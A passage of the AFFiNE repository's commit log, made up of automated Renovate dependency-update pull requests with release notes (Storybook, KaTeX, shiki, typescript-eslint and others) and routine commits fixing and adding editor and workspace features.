-   Addon Test: Fix run request while booting or restarting Vitest - [#&#8203;29829](https://redirect.github.com/storybookjs/storybook/pull/29829), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Handle undefined storyId - [#&#8203;29998](https://redirect.github.com/storybookjs/storybook/pull/29998), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Improve error message on missing coverage package - [#&#8203;30088](https://redirect.github.com/storybookjs/storybook/pull/30088), thanks [@&#8203;JReinhold](https://redirect.github.com/JReinhold)!
-   Addon Test: Improve support for mono-repos - [#&#8203;30216](https://redirect.github.com/storybookjs/storybook/pull/30216), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon Test: Make component tests status row link to the story's tests panel - [#&#8203;29992](https://redirect.github.com/storybookjs/storybook/pull/29992), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Merge viteFinal config into vitest config - [#&#8203;29806](https://redirect.github.com/storybookjs/storybook/pull/29806), thanks [@&#8203;ndelangen](https://redirect.github.com/ndelangen)!
-   Addon Test: Only optimize react deps if applicable in vitest-plugin - [#&#8203;29617](https://redirect.github.com/storybookjs/storybook/pull/29617), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Addon Test: Only reset story count on file change when watch mode is enabled - [#&#8203;30121](https://redirect.github.com/storybookjs/storybook/pull/30121), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Optimize internal dependencies - [#&#8203;29595](https://redirect.github.com/storybookjs/storybook/pull/29595), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Addon Test: Prompt switch to `experimental-nextjs-vite` - [#&#8203;29814](https://redirect.github.com/storybookjs/storybook/pull/29814), thanks [@&#8203;ndelangen](https://redirect.github.com/ndelangen)!
-   Addon Test: Refactor test addon to include stories automatically - [#&#8203;29367](https://redirect.github.com/storybookjs/storybook/pull/29367), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Addon Test: Remove a11y placeholder - [#&#8203;29769](https://redirect.github.com/storybookjs/storybook/pull/29769), thanks [@&#8203;JReinhold](https://redirect.github.com/JReinhold)!
-   Addon Test: Replace `glob` with `tinyglobby` - [#&#8203;29817](https://redirect.github.com/storybookjs/storybook/pull/29817), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Serve `staticDirs` with Vitest - [#&#8203;29811](https://redirect.github.com/storybookjs/storybook/pull/29811), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Show sub test provider toggle state in main testing module - [#&#8203;30019](https://redirect.github.com/storybookjs/storybook/pull/30019), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Support Storybook environment variables in Vitest - [#&#8203;29792](https://redirect.github.com/storybookjs/storybook/pull/29792), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Use correct vitest config file path - [#&#8203;30135](https://redirect.github.com/storybookjs/storybook/pull/30135), thanks [@&#8203;kasperpeulen](https://redirect.github.com/kasperpeulen)!
-   Addon Test: Use local storybook binary instead - [#&#8203;30021](https://redirect.github.com/storybookjs/storybook/pull/30021), thanks [@&#8203;kasperpeulen](https://redirect.github.com/kasperpeulen)!
-   Addon Test: Use ProgressSpinner for stop button in Testing Module - [#&#8203;29997](https://redirect.github.com/storybookjs/storybook/pull/29997), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Wait for 2 seconds before showing result mismatch warning - [#&#8203;30002](https://redirect.github.com/storybookjs/storybook/pull/30002), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Wrap sub-paths exported with `require.resolve` - [#&#8203;30026](https://redirect.github.com/storybookjs/storybook/pull/30026), thanks [@&#8203;ndelangen](https://redirect.github.com/ndelangen)!
-   Addon Themes: Deprecate useThemeParameters - [#&#8203;30111](https://redirect.github.com/storybookjs/storybook/pull/30111), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Angular: Support statsJson in angular schemas - [#&#8203;29233](https://redirect.github.com/storybookjs/storybook/pull/29233), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Automigration: Improve addon-a11y-addon-test - [#&#8203;30127](https://redirect.github.com/storybookjs/storybook/pull/30127), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Automigration: Improve setup file transformation and version range handling for a11y migration - [#&#8203;30060](https://redirect.github.com/storybookjs/storybook/pull/30060), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Automigrations: Skip vite config file migration for react native web - [#&#8203;30190](https://redirect.github.com/storybookjs/storybook/pull/30190), thanks [@&#8203;dannyhw](https://redirect.github.com/dannyhw)!
-   Build: Downgrade to esbuild 0.24.0 - [#&#8203;30116](https://redirect.github.com/storybookjs/storybook/pull/30116), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Build: Revert Downgrade to esbuild 0.24.0 - [#&#8203;30120](https://redirect.github.com/storybookjs/storybook/pull/30120), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   CLI: Fix init help for `storybook` command - [#&#8203;29480](https://redirect.github.com/storybookjs/storybook/pull/29480), thanks [@&#8203;toothlessdev](https://redirect.github.com/toothlessdev)!
-   CLI: Fix new-frameworks automigration - [#&#8203;29804](https://redirect.github.com/storybookjs/storybook/pull/29804), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   CLI: Re-Add Nuxt support - [#&#8203;28607](https://redirect.github.com/storybookjs/storybook/pull/28607), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   CLI: Update a11y-test comment with experimental caveat - [#&#8203;30258](https://redirect.github.com/storybookjs

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTA3LjAiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->
2025-01-16 03:39:08 +00:00
renovate fd2df1c8bb chore: bump up @blocksuite/icons version to v2.2.2 (#9684)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/icons](https://redirect.github.com/toeverything/icons) | [`2.2.1` -> `2.2.2`](https://renovatebot.com/diffs/npm/@blocksuite%2ficons/2.2.1/2.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2ficons/2.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2ficons/2.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2ficons/2.2.1/2.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2ficons/2.2.1/2.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/icons (@&#8203;blocksuite/icons)</summary>

### [`v2.2.2`](https://redirect.github.com/toeverything/icons/compare/397f423d3fa78b11a981c2d5a0f67a7c25b854c5...837a20260147c4fdbbdc2b90627c80dbb7b5ddc3)

[Compare Source](https://redirect.github.com/toeverything/icons/compare/397f423d3fa78b11a981c2d5a0f67a7c25b854c5...837a20260147c4fdbbdc2b90627c80dbb7b5ddc3)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-16 03:23:37 +00:00
CatsJuice ad86292f45 test(core): add basic tests for template doc setting (#9702)
close AF-2112, AF-2114, AF-2115
2025-01-16 02:28:29 +00:00
pengx17 0ed9258f51 fix(core): some dnd perf issues (#9661)
1. page list item are bound two draggables. adding `draggable` prop to WorkbenchLink to mitigate the issue.
2. DndService may not resolve datatransfer when dragging.
2025-01-15 15:04:01 +00:00
pengx17 b1896746f9 refactor(core): move setting dialog to workspace scope (#9706) 2025-01-15 13:00:06 +00:00
L-Sun 9df338274d chore(core): update tooltip of mode switcher (#9711)
Close [BS-2325](https://linear.app/affine-design/issue/BS-2325/tooltips-显示)

https://github.com/user-attachments/assets/bd4c6045-8de1-4e72-87ab-2d1d3262e6b7
2025-01-15 12:22:37 +00:00
L-Sun 94c9717a35 feat(editor): edgeless page block toolbar (#9707)
Close [BS-2315](https://linear.app/affine-design/issue/BS-2315/page-block-header)

### What Changes
- Add header toolbar to page block (the first note in canvas)
- Add e2e tests
- Add some edgeless e2e test utils.  **The package `@blocksuite/affine` was added to `"@affine-test/kit"`**
2025-01-15 12:04:44 +00:00
CatsJuice 494a9473d5 feat(core): start with edgeless for empty page (#9699)
close AF-2074
2025-01-15 11:21:20 +00:00
CatsJuice d82951a7c5 feat(core): sidebar journal panel template onboarding and setting (#9680)
close AF-2108
2025-01-15 11:21:18 +00:00
fundon 0b2d11e6b1 fix(editor): text highlighting (#9708) 2025-01-15 10:57:27 +00:00
fundon 7002289c58 fix(editor): avoid drag and drag over updating drag indicator at the same time (#9656)
* add a `dragging` signal to the file drop manager
* `drag over` logic should  not be triggered  when inside app
* avoid drag and drag over updating `drag indicator` at the same time
2025-01-15 08:10:08 +00:00
pengx17 0bce5c6730 feat(core): remove workspace selectors in settings (#9705)
fix AF-2119
2025-01-15 07:37:25 +00:00
fourdim c31a0d28cf fix(core): dependency cycle (#9704) 2025-01-15 05:38:05 +00:00
donteatfriedrice 4f421efb22 fix(editor): init default theme observer value according to data-theme (#9698) 2025-01-15 04:04:06 +00:00
CatsJuice 419611f44c feat(core): sidebar template doc entrance (#9676)
close AF-2048, AF-2050, AF-2049
2025-01-15 03:45:10 +00:00
CatsJuice 1c90747899 feat(core): template doc list empty ui (#9675)
close AF-2109
2025-01-15 03:45:09 +00:00
zzj3720 ff295f383f refactor(editor): enable the noUncheckedIndexedAccess rule for the block-database package (#9691)
close: BS-2269
2025-01-14 14:35:46 +00:00
donteatfriedrice aa2a8fbf9b fix(editor): adapters panel type (#9690) 2025-01-14 11:02:00 +00:00
akumatus c8e550138d fix(core): add ai send button test (#9685) 2025-01-14 10:06:31 +00:00
JimmFly a24630ba56 fix(core): workspace selector on the upgrade to team page overflows (#9586)
<img width="476" alt="截屏2025-01-08 下午4 19 04" src="https://github.com/user-attachments/assets/3a958a4b-3585-4366-9a60-ae73a654b95f" />
2025-01-14 09:47:59 +00:00
forehalo 13d40e5f52 fix(tools): make cli available even conficts exist (#9678) 2025-01-14 09:31:24 +00:00
forehalo e418465c0c test: playwright cloud import prisma (#9677) 2025-01-14 09:31:23 +00:00
renovate 8e07753b51 chore: bump up all non-major dependencies (#9651)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@smarttools/eslint-plugin-rxjs](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs) | [`1.0.14` -> `1.0.15`](https://renovatebot.com/diffs/npm/@smarttools%2feslint-plugin-rxjs/1.0.14/1.0.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@smarttools%2feslint-plugin-rxjs/1.0.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@smarttools%2feslint-plugin-rxjs/1.0.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@smarttools%2feslint-plugin-rxjs/1.0.14/1.0.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@smarttools%2feslint-plugin-rxjs/1.0.14/1.0.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@toeverything/theme](https://redirect.github.com/toeverything/design) | [`1.1.3` -> `1.1.4`](https://renovatebot.com/diffs/npm/@toeverything%2ftheme/1.1.3/1.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@toeverything%2ftheme/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@toeverything%2ftheme/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@toeverything%2ftheme/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@toeverything%2ftheme/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@types/react](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react)) | [`19.0.4` -> `19.0.7`](https://renovatebot.com/diffs/npm/@types%2freact/19.0.4/19.0.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/19.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/19.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/19.0.4/19.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/19.0.4/19.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/react-dom](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react-dom) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react-dom)) | [`19.0.2` -> `19.0.3`](https://renovatebot.com/diffs/npm/@types%2freact-dom/19.0.2/19.0.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact-dom/19.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact-dom/19.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact-dom/19.0.2/19.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact-dom/19.0.2/19.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [inquirer](https://redirect.github.com/SBoudrias/Inquirer.js/blob/main/packages/inquirer/README.md) ([source](https://redirect.github.com/SBoudrias/Inquirer.js)) | [`12.3.0` -> `12.3.2`](https://renovatebot.com/diffs/npm/inquirer/12.3.0/12.3.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/inquirer/12.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/inquirer/12.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/inquirer/12.3.0/12.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/inquirer/12.3.0/12.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [katex](https://katex.org) ([source](https://redirect.github.com/KaTeX/KaTeX)) | [`0.16.19` -> `0.16.20`](https://renovatebot.com/diffs/npm/katex/0.16.19/0.16.20) | [![age](https://developer.mend.io/api/mc/badges/age/npm/katex/0.16.20?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/katex/0.16.20?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/katex/0.16.19/0.16.20?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/katex/0.16.19/0.16.20?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`0.471.0` -> `0.471.1`](https://renovatebot.com/diffs/npm/lucide-react/0.471.0/0.471.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.471.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.471.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.471.0/0.471.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.471.0/0.471.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [napi](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.26` -> `3.0.0-alpha.27` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi/3.0.0-alpha.27?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi/3.0.0-alpha.27?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi/3.0.0-alpha.26/3.0.0-alpha.27?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi/3.0.0-alpha.26/3.0.0-alpha.27?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [napi-derive](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.23` -> `3.0.0-alpha.25` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi-derive/3.0.0-alpha.25?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi-derive/3.0.0-alpha.25?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi-derive/3.0.0-alpha.23/3.0.0-alpha.25?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi-derive/3.0.0-alpha.23/3.0.0-alpha.25?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [postcss](https://postcss.org/) ([source](https://redirect.github.com/postcss/postcss)) | [`8.4.49` -> `8.5.0`](https://renovatebot.com/diffs/npm/postcss/8.4.49/8.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/postcss/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/postcss/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/postcss/8.4.49/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/postcss/8.4.49/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`1.26.1` -> `1.27.0`](https://renovatebot.com/diffs/npm/shiki/1.26.1/1.27.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/1.26.1/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/1.26.1/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | [`8.19.1` -> `8.20.0`](https://renovatebot.com/diffs/npm/typescript-eslint/8.19.1/8.20.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typescript-eslint/8.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typescript-eslint/8.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typescript-eslint/8.19.1/8.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typescript-eslint/8.19.1/8.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| org.mozilla.rust-android-gradle.rust-android | `0.9.5` -> `0.9.6` | [![age](https://developer.mend.io/api/mc/badges/age/maven/org.mozilla.rust-android-gradle.rust-android:org.mozilla.rust-android-gradle.rust-android.gradle.plugin/0.9.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/org.mozilla.rust-android-gradle.rust-android:org.mozilla.rust-android-gradle.rust-android.gradle.plugin/0.9.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/org.mozilla.rust-android-gradle.rust-android:org.mozilla.rust-android-gradle.rust-android.gradle.plugin/0.9.5/0.9.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/org.mozilla.rust-android-gradle.rust-android:org.mozilla.rust-android-gradle.rust-android.gradle.plugin/0.9.5/0.9.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | plugin | patch |

---

### Release Notes

<details>
<summary>DaveMBush/eslint-plugin-rxjs (@&#8203;smarttools/eslint-plugin-rxjs)</summary>

### [`v1.0.15`](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/releases/tag/v1.0.15): 1.0.15 (2025-01-11)

[Compare Source](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/compare/v1.0.14...v1.0.15)

Adds real index.d.ts file to package

</details>

<details>
<summary>toeverything/design (@&#8203;toeverything/theme)</summary>

### [`v1.1.4`](https://redirect.github.com/toeverything/design/compare/1.1.3...1.1.4)

[Compare Source](https://redirect.github.com/toeverything/design/compare/1.1.3...1.1.4)

</details>

<details>
<summary>SBoudrias/Inquirer.js (inquirer)</summary>

### [`v12.3.2`](https://redirect.github.com/SBoudrias/Inquirer.js/compare/inquirer@12.3.1...inquirer@12.3.2)

[Compare Source](https://redirect.github.com/SBoudrias/Inquirer.js/compare/inquirer@12.3.1...inquirer@12.3.2)

### [`v12.3.1`](https://redirect.github.com/SBoudrias/Inquirer.js/compare/inquirer@12.3.0...inquirer@12.3.1)

[Compare Source](https://redirect.github.com/SBoudrias/Inquirer.js/compare/inquirer@12.3.0...inquirer@12.3.1)

</details>

<details>
<summary>KaTeX/KaTeX (katex)</summary>

### [`v0.16.20`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#01620-2025-01-12)

[Compare Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.19...v0.16.20)

##### Bug Fixes

-   \providecommand does not overwrite existing macro ([#&#8203;4000](https://redirect.github.com/KaTeX/KaTeX/issues/4000)) ([6d30fe4](https://redirect.github.com/KaTeX/KaTeX/commit/6d30fe47b06f9da9b836fe518d5cbbecf6a6a3a1)), closes [#&#8203;3928](https://redirect.github.com/KaTeX/KaTeX/issues/3928)

</details>

<details>
<summary>lucide-icons/lucide (lucide-react)</summary>

### [`v0.471.1`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.471.1): Hotfix Lucide React exports

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.471.0...0.471.1)

#### What's Changed

-   fix(lucide-react) Adds type module in package.json by [@&#8203;ericfennis](https://redirect.github.com/ericfennis) in [https://github.com/lucide-icons/lucide/pull/2731](https://redirect.github.com/lucide-icons/lucide/pull/2731)

</details>

<details>
<summary>napi-rs/napi-rs (napi)</summary>

### [`v3.0.0-alpha.27`](https://redirect.github.com/napi-rs/napi-rs/releases/tag/napi%403.0.0-alpha.27)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.26...napi@3.0.0-alpha.27)

#### What's Changed

-   fix(napi): add back Buffer/TypedArray custom gc on wasi by [@&#8203;Brooooooklyn](https://redirect.github.com/Brooooooklyn) in [https://github.com/napi-rs/napi-rs/pull/2421](https://redirect.github.com/napi-rs/napi-rs/pull/2421)
-   feat(napi): allow create ReadableStream from polyfill by [@&#8203;Brooooooklyn](https://redirect.github.com/Brooooooklyn) in [https://github.com/napi-rs/napi-rs/pull/2424](https://redirect.github.com/napi-rs/napi-rs/pull/2424)

**Full Changelog**: https://github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.25...napi@3.0.0-alpha.27

</details>

<details>
<summary>postcss/postcss (postcss)</summary>

### [`v8.5.0`](https://redirect.github.com/postcss/postcss/compare/8.4.49...687327055ded618a36dd3cd7c39abe3428d56acb)

[Compare Source](https://redirect.github.com/postcss/postcss/compare/8.4.49...8.5.0)

</details>

<details>
<summary>shikijs/shiki (shiki)</summary>

### [`v1.27.0`](https://redirect.github.com/shikijs/shiki/releases/tag/v1.27.0)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v1.26.2...v1.27.0)

#####    🚀 Features

-   **codegen**: New pacakge  -  by [@&#8203;antfu](https://redirect.github.com/antfu) in [https://github.com/shikijs/shiki/issues/889](https://redirect.github.com/shikijs/shiki/issues/889) [<samp>(52046)</samp>](https://redirect.github.com/shikijs/shiki/commit/52046ffd)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v1.26.2...v1.27.0)

### [`v1.26.2`](https://redirect.github.com/shikijs/shiki/releases/tag/v1.26.2)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v1.26.1...v1.26.2)

#####    🚀 Features

-   Update deps and grammars  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(68f78)</samp>](https://redirect.github.com/shikijs/shiki/commit/68f78624)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v1.26.1...v1.26.2)

</details>

<details>
<summary>typescript-eslint/typescript-eslint (typescript-eslint)</summary>

### [`v8.20.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/typescript-eslint/CHANGELOG.md#8200-2025-01-13)

[Compare Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.19.1...v8.20.0)

##### 🚀 Features

-   **eslint-plugin:** \[no-misused-spread] add new rule ([#&#8203;10551](https://redirect.github.com/typescript-eslint/typescript-eslint/pull/10551))

##### ❤️ Thank You

-   Josh Goldberg 

You can read about our [versioning strategy](https://main--typescript-eslint.netlify.app/users/versioning) and [releases](https://main--typescript-eslint.netlify.app/users/releases) on our website.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-14 09:10:30 +00:00
fengmk2 b7635c8944 refactor(server): use session model in auth service (#9660) 2025-01-14 07:43:26 +00:00
